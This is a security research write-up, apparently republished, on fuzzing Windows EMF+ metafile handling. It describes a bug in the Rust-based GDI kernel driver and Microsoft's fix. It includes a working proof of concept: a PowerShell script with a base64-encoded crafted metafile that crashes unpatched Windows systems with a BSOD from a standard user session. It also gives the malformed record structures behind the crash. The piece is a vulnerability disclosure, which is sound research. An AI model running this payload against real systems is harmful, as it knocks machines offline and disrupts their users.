Denial of Fuzzing: Rust in the Windows kernel

October 17, 2025

Check Point Research (CPR) has uncovered a significant security vulnerability in the Rust-based kernel component of the Graphics Device Interface (GDI) within Windows, first identified in January 2025. This issue was promptly reported to Microsoft, leading to a resolution in the form of OS Build 26100.4202, part of the KB5058499 update preview released on May 28, 2025. The following sections elaborate on the methodology employed during our fuzzing campaign, which specifically targeted the Windows graphics component through metafiles, ultimately revealing this and other vulnerabilities. A detailed technical analysis of these findings is available in our publication, “Drawn to Danger: Bugs in Windows Graphics Lead to Remote Code Execution and Memory Exposure.”

Test Environment

Fuzzing, a prevalent software testing technique, involves inputting invalid, unexpected, or random data into a program to identify bugs. This proactive security testing approach is regularly applied to widely used systems, including Microsoft’s Windows operating system, to uncover potential vulnerabilities before they can be exploited. A robust testing environment is crucial for effective fuzzing. WinAFL, a powerful fuzzer known for identifying numerous publicly acknowledged vulnerabilities, was adapted specifically for targeting Windows binaries. To facilitate mid-scale fuzz testing, we utilized a management tool like WinAFL Pet, which streamlines the creation, configuration, and monitoring of fuzzing jobs, while also aiding in the evaluation of any crashes detected in the application. Given that running multiple fuzzer instances over extended periods can lead to numerous crashes, it is essential to analyze the causes of these failures promptly. BugId offers a comprehensive and rapid analysis of the underlying reasons behind program crashes.

Target Selection

The GDI is a core component of the Windows operating system, facilitating two-dimensional vector graphics, imaging, and typography. It enhances the Graphics Device Interface found in earlier Windows versions by introducing new features and optimizing existing ones. The Enhanced Metafile Format (EMF) contains instructions to call GDI functions, while the Enhanced Metafile Format Plus (EMF+) is a variant where EMF+ records are embedded within EMF records. This embedding is enabled by EMF’s capacity to include arbitrary private data in an EMRCOMMENTEMFPLUS record. Furthermore, multiple EMF+ records can be embedded in a single EMF record, as illustrated in our accompanying figures.

EMF files present a considerable attack surface due to their compact file size, making them particularly suitable for fuzz testing. Although previous vulnerabilities have been disclosed regarding EMF files, the transition to the EMF+ format has not been extensively studied. The EMF+ format introduces various new metafile records, increasing the complexity of processing these files. Consequently, our current research focuses on the long-standing attack surface of the GDI subsystem related to metafile handling, building on prior investigations into the EMF format.

Test Execution

Our fuzzing campaign commenced with a corpus of merely 16 initial seed files, including several samples based on the EMF+ format. Remarkably, within just a few days of testing, the fuzzer identified several potential security vulnerabilities, with impacts ranging from information disclosure to arbitrary code execution. During this campaign, we encountered a recurring system crash, termed a Denial of Fuzzing condition, which disrupted our research and led to an unexpected discovery. After a week of testing, the system crashed and restarted due to a BugCheck, indicating that the fuzzer had encountered a bug affecting the Windows kernel. Although our primary focus was on user-space fuzzing, reproducing the crash proved challenging. Nevertheless, restarting the test campaign consistently led to the same outcome, confirming the presence of a bug in the Windows kernel triggered by extensive mutations of the initial seed corpus.

Hunting for a BugCheck

Sharpening the Axe

This prompted a shift in our focus from discovering additional vulnerabilities to tracking down this specific bug in the Windows kernel and reproducing the crash consistently. Our first step involved enabling memory dump capture to analyze the operating system’s state at the time of the crash. However, due to our use of a RAM disk for file storage and the shared-memory mode of the fuzzer instances, pinpointing the sample being processed at the time of the crash became a daunting task. Restarting the fuzzing campaign confirmed that the system crash consistently occurred after a few days of testing, allowing us to gather multiple memory snapshots for analysis.

Initial attempts to locate the potential culprit in the memory dump by searching for EMF signatures did not yield the desired results. To address this, we explored extracting files from the queue folder of the crashing fuzzer instance using the complete memory dump. The forensic mode of the MemProcFS tool proved useful in automatically identifying files within the memory dump. With a complete snapshot of the fuzzer’s state at the crash moment, we aimed to reduce the time required to reproduce the error. New fuzzing campaigns with seed files derived from the samples extracted from the queue folder allowed us to reach the mutation phase more quickly, resulting in earlier system crashes.

Approaching the Prey

Despite our progress, reproducing the error consistently remained elusive. Eventually, we achieved a setup where a single fuzzer instance could trigger the mutation causing the error within 30 minutes, using a dataset of 836 files. This advancement enabled us to modify our fuzzing harness to transmit the mutated test files to a remote server over the network, ensuring minimal impact on the fuzzer’s performance and stability. The harness was supplemented with a send_data() function designed to transmit each tested sample to a remote server, handling potential errors at each step.

int senddata(char* data, uint32t size) {
    WSADATA wsa;
    SOCKET s;
    struct sockaddr_in server;
    wchart ipaddress[] = L"192.168.1.1";
    
    server.sinfamily = AFINET;
    server.sin_port = htons(4444);

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        return 1;
    }

    if ((s = socket(AFINET, SOCKSTREAM, 0)) == INVALID_SOCKET) {
        WSACleanup();
        return 1;
    }

    if (InetPton(AFINET, ipaddress, &(server.sin_addr)) != 1) {
        closesocket(s);
        WSACleanup();
        return 1;
    }

    if (connect(s, (struct sockaddr*)&server, sizeof(server)) < 0) {
        closesocket(s);
        WSACleanup();
        return 1;
    }

    uint32t sizeheader = htonl(size);
    if (send(s, (char*)&sizeheader, sizeof(sizeheader), 0) < 0) {
        closesocket(s);
        WSACleanup();
        return 1;
    }

    if (send(s, data, size, 0) < 0) {
        closesocket(s);
        WSACleanup();
        return 1;
    }

    closesocket(s);
    WSACleanup();
    return 0;
}

This modification enabled us to reproduce the error, even if it stemmed from processing multiple different test files. During the first test run after updating the fuzzing harness, the system successfully crashed after just 30 minutes. Based on the logged sample files on the server, the campaign reached the mutation responsible for generating the file that caused the crash after an impressive 380,000 mutations. The technical analysis of the vulnerability is outlined in the following sections.

The Prey

When Things Went Wrong

We identified a crash via a system service exception occurring during the execution of a NtGdiSelectClipPath syscall within version 10.0.26100.3037 of the win32kbasers.sys driver. The stack trace from this crash highlights Microsoft’s efforts to enhance security by reimplementing the REGION data type of the GDI subsystem using Rust in the Windows kernel, as discussed in a presentation on Default Security at the BlueHat IL 2023 conference. This transition is evident in how the Win32kRS::RegionCoresetfrompath() function within the win32kbase.sys driver calls a function with the same name in the new win32kbasers.sys driver. Notably, the system crash was triggered by this new kernel component designed to improve security, as suggested by the panicbounds_check() function referenced in the stack trace.

According to the decompiled source code of the vulnerable version of the win32kbase_rs.sys kernel driver, the system crashes when the v109 index exceeds the allowed v86 range, triggering a kernel panic. This issue likely arises from the v88 and v95 loop variables incrementing beyond valid limits without appropriate safeguards.

The Reason Behind the Bug

The regionfrompathmut() function converts a path into a region represented as a singly linked list of edge blocks. The program detects out-of-bounds memory access via core::panicking::panicboundscheck() and triggers a SYSTEMSERVICEEXCEPTION. The first metafile record in the crash sample that drives the execution flow into the regionfrompathmut() function is the EmfPlusDrawBeziers record. The path geometry resulting from this record produces the specific edge blocks responsible for memory corruption. When the system processes this record, the geometric pen specified in the EmfPlusObject record widens the stroke. The malformed path data ultimately leads to an out-of-bounds condition when the path is widened, flattened, and converted to a region in the kernel.

The relevant excerpt of the EmfPlusObject specifying the pen to use reveals that when PenDataStartCap is set, the style of a starting line cap is indicated in the OptionalData field of an EmfPlusPenData object. Similarly, PenDataNonCenter indicates whether a pen alignment is specified in the OptionalData field of an EmfPlusPenData object.

EmfPlusObject pen = {
    .Type                 = 0x4008,     // EmfPlusObject
    .Flags                = 0x0200,     // EmfPlusPen
    .Size                 = 0x00000030,
    .DazaSize             = 0x00000024,
    .ObjectData = {
        .Version          = 0xDBC01002, // EMF+
        .Type             = 0x42200000, // PenDataNonCenter, PenDataStartCap
        .PenDataFlags     = 0x00000202, // UnitTypeInch
        .PenUnit          = 0x00000004,
        .PenWidth         = 0xFFFFFFEE,
        .OptionalData = {
            .StartCap     = 0x0000FC05,
            .PenAlignment = 0x0051E541
        }
    }
};

The structure defining the EmfPlusDrawBeziers record that triggered the vulnerability shows values produced through mutation, including 17 points, despite declaring a nominal count of only 4, which is ignored during processing. This mismatch, along with the coordinate data, appears sufficient to stress the path parsing logic and expose this edge-case behavior in the kernel.

EmfPlusDrawBeziers beziers = {
    .Type      = 0x4019,
    .Flags     = 0x00D6,      // C=1, P=0, ObjectID=0x36
    .Size      = 0x00000050,  // 80 bytes
    .DataSize  = 0x00000044,  // 68 bytes
    .Count     = 0x00000004,  // nominal count (ignored)
    // PointData is read as EmfPlusPoint objects with absolute coordinates.
    .PointData[17] = {
        { 0xE63D, 0x0000 },   // (-6595 ,     0)
        { 0xFC05, 0x0000 },   // (-1019 ,     0)
        { 0xE541, 0x0051 },   // (-6847 ,    81)
        { 0x0049, 0x7FFF },   // (   73 , 32767)
        { 0x004C, 0x1400 },   // (   76 ,  5120)
        { 0x4008, 0x0202 },   // (16392 ,   514)
        { 0x0067, 0x0000 },   // (  103 ,     0)
        { 0x1002, 0xDBC0 },   // ( 4098 , -9280)
        { 0x001C, 0x0000 },   // (   28 ,     0)
        { 0x0010, 0x0000 },   // (   16 ,     0)
        { 0x1002, 0xDBC0 },   // ( 4098 , -9280)
        { 0x0001, 0x0000 },   // (    1 ,     0)
        { 0x0060, 0x4008 },   // (   96 , 16392)
        { 0x0003, 0x0000 },   // (    3 ,     0)
        { 0x0000, 0x4600 },   // (    0 , 17920)
        { 0x0000, 0x0100 },   // (    0 ,   256)
        { 0x004C, 0x0000 }    // (   76 ,     0)
    }
};

Demonstrating the Vulnerability

Further analysis indicates that the bounds check fails specifically when a Metafile object is passed to Graphics::FromImage() to create a Graphics object, despite the method being documented to accept only Image objects intended for drawing, such as Bitmap. This misuse allows execution to reach the vulnerable code path. The resulting BugCheck can be triggered by invoking the DrawImage() method on the Graphics object created from the Metafile. A PowerShell script can embed a metafile containing a specially crafted EmfPlusDrawBeziers record with malformed edge data, demonstrating this vulnerability from a low integrity level within a standard user session, affecting both x86 and x64 systems.

Add-Type -AssemblyName System.Drawing;
Add-Type -AssemblyName System.Windows.Forms;

$b = [Convert]::FromBase64String("AQAAAGwAAAAAAAAAACEAAGMAAABgCAAAlQEAAAAAAABvCfMAIAoAACBFTUYAAAEAYAIAAAkAAAABAAAAAAAAAAAAAAAAAAAAgAcAALAEAADYAgAARAH6AAAAAAAAAAAAAAAAAHDnBwCg8QQARgAAACwAAAAAEAAARU1GKwFAAAAcAAAAEAAAAAIQwNsBAAAAYAAAAGAAAABGAAAAFAEAAAgBAABFTUYrCEAAAjAAAAAkAAAAAhDA2wAAIEICAgAABAAAAO7///8F/AAAQeVRAEkAQQBMAAAACEAAAkgAAAA8AAAAAhDA2wAA5f/wAAAALAAAAP///vBGTUor4EAAEAAAAIAQAAAAAhDA2wEAAABgAAhAAwAAAAAAf38SQAAACEACATwAAAAwAAAAuxDA2wQAAAAAAAAAAAAAEAABAADlAAAAAADuQgAAyEIAHgAA/wAA/wAA////AAD/GUAA1lAAAABEAAAABAAAAD3mAAAF/AAAQeVRAEkA/39MAAAUCEACAmcAAAACEMDbHAAAABAAAAACEMDbAQAAAGAACEADAAAAAAAARgAAAAEAAABMAAAAZAAAAAAPAAAAAAwAABAAAABgAAAAD+j///8AAABVEQAAyEIAAMhCAAD///7/7/8AAP/9/wDi/mEAAAApAKoAFgAAAAAAogAAAIA/AAAAAAAAAAAAABAAAPD///8AAAAAAAAAdXV1dXV1dXV1dQD29gAiAAAADAAAAP////9GAAoAAAAAAA4AAABFTUYrGUAA/gsKAAAAAH+ADgAAABQAAAAAAAAAEAASABQNAAA=");

$s = [System.IO.MemoryStream]::new($b);
$f = New-Object System.Windows.Forms.Form;
$g = [System.Drawing.Graphics]::FromHwnd($f.Handle);
$h = $g.GetHdc();
$m = New-Object System.Drawing.Imaging.Metafile($s, $h);

$mg = [System.Drawing.Graphics]::FromImage($m);
$mg.DrawImage([System.Drawing.Image]::FromStream($s),0,0);

This proof-of-concept metafile can only trigger the crash when the edge block reaching the kernel produces a specific path geometry. Several independent record-level edits could prevent that layout from forming, thus avoiding the execution of the buggy code path:

  1. Flip the C/P flags so the PointData field is read as an array of EmfPlusPointF objects: $b[0x15f]=0;
  2. Increase the Size to add an extra flat point: $b[0x160]=84;$b=$b[0..351]+(0,0,0,0)+$b[352..($b.Length-1)];
  3. Decrease the DataSize to 64 to drop the last point: $b[0x164]=64;

This issue is mitigated by the absence of the vulnerable win32kbase_rs.sys component on Windows Server versions. Although we reported this vulnerability to Microsoft, the MSRC classified it as moderate severity, indicating it did not warrant immediate servicing. Nevertheless, the vulnerability was addressed as part of a feature update shortly after the May 2025 Patch Tuesday. According to their assessment, “the Rust code correctly catches an out-of-bounds array access and triggers a panic, resulting in a Blue Screen of Death (BSOD), as expected.” However, this behavior aligns with the broader definition of a vulnerability, as triggering a BSOD through a user-space function that processes user-controlled input should be regarded as a security flaw necessitating a fix.

Moreover, as confirmed by the MSRC, a threat actor could exploit this flaw by crafting malicious metafiles designed to crash targeted systems when displayed. Such disruptions could temporarily incapacitate enterprise environments, leading to unexpected downtime and interfering with critical business processes, potentially resulting in data loss or corruption.

How Microsoft Fixed the Vulnerability

Microsoft classified this as a moderate-severity denial-of-service issue and opted to address it in a non-security update. The fix was first shipped with KB5058499 in version 10.0.26100.4202 of the win32kbasers.sys kernel module, released on May 28, 2025, and reached full global release status by the end of the week of June 23. Notably, version 4202 introduced substantial updates to the module, evidenced by a file size increase from 148 KB to 164 KB, suggesting significant internal changes likely related to the vulnerability fix. Among the most heavily modified components in this update is the regionfrompathmut() function, which underwent restructuring.

Among its notable changes is the introduction of two distinct edge-handling routines: addedgeoriginal() and addedgenew(). The GlobalEdgeTable::addedge() function, which converts two vertices into an edge record and inserts it into the in-memory edge table, now exists in these two forms. Microsoft retained the original logic as addedgeoriginal() and implemented a new, bounds-hardened version called addedge_new(). While both implementations produce the same functional output, the new version addresses several corner cases and potential memory-handling issues present in the legacy routine.

A feature flag, FeatureServicingWin32kRSPathToRegion_IsEnabled(), determines at runtime which version is invoked. Although the fix was already present in the codebase, we found during our initial testing that this feature flag was disabled. We were only able to confirm the presence of the fix in the debugger and later verified it in production following the July 2025 Patch Tuesday.

Winsage
Denial of Fuzzing: Rust in the Windows kernel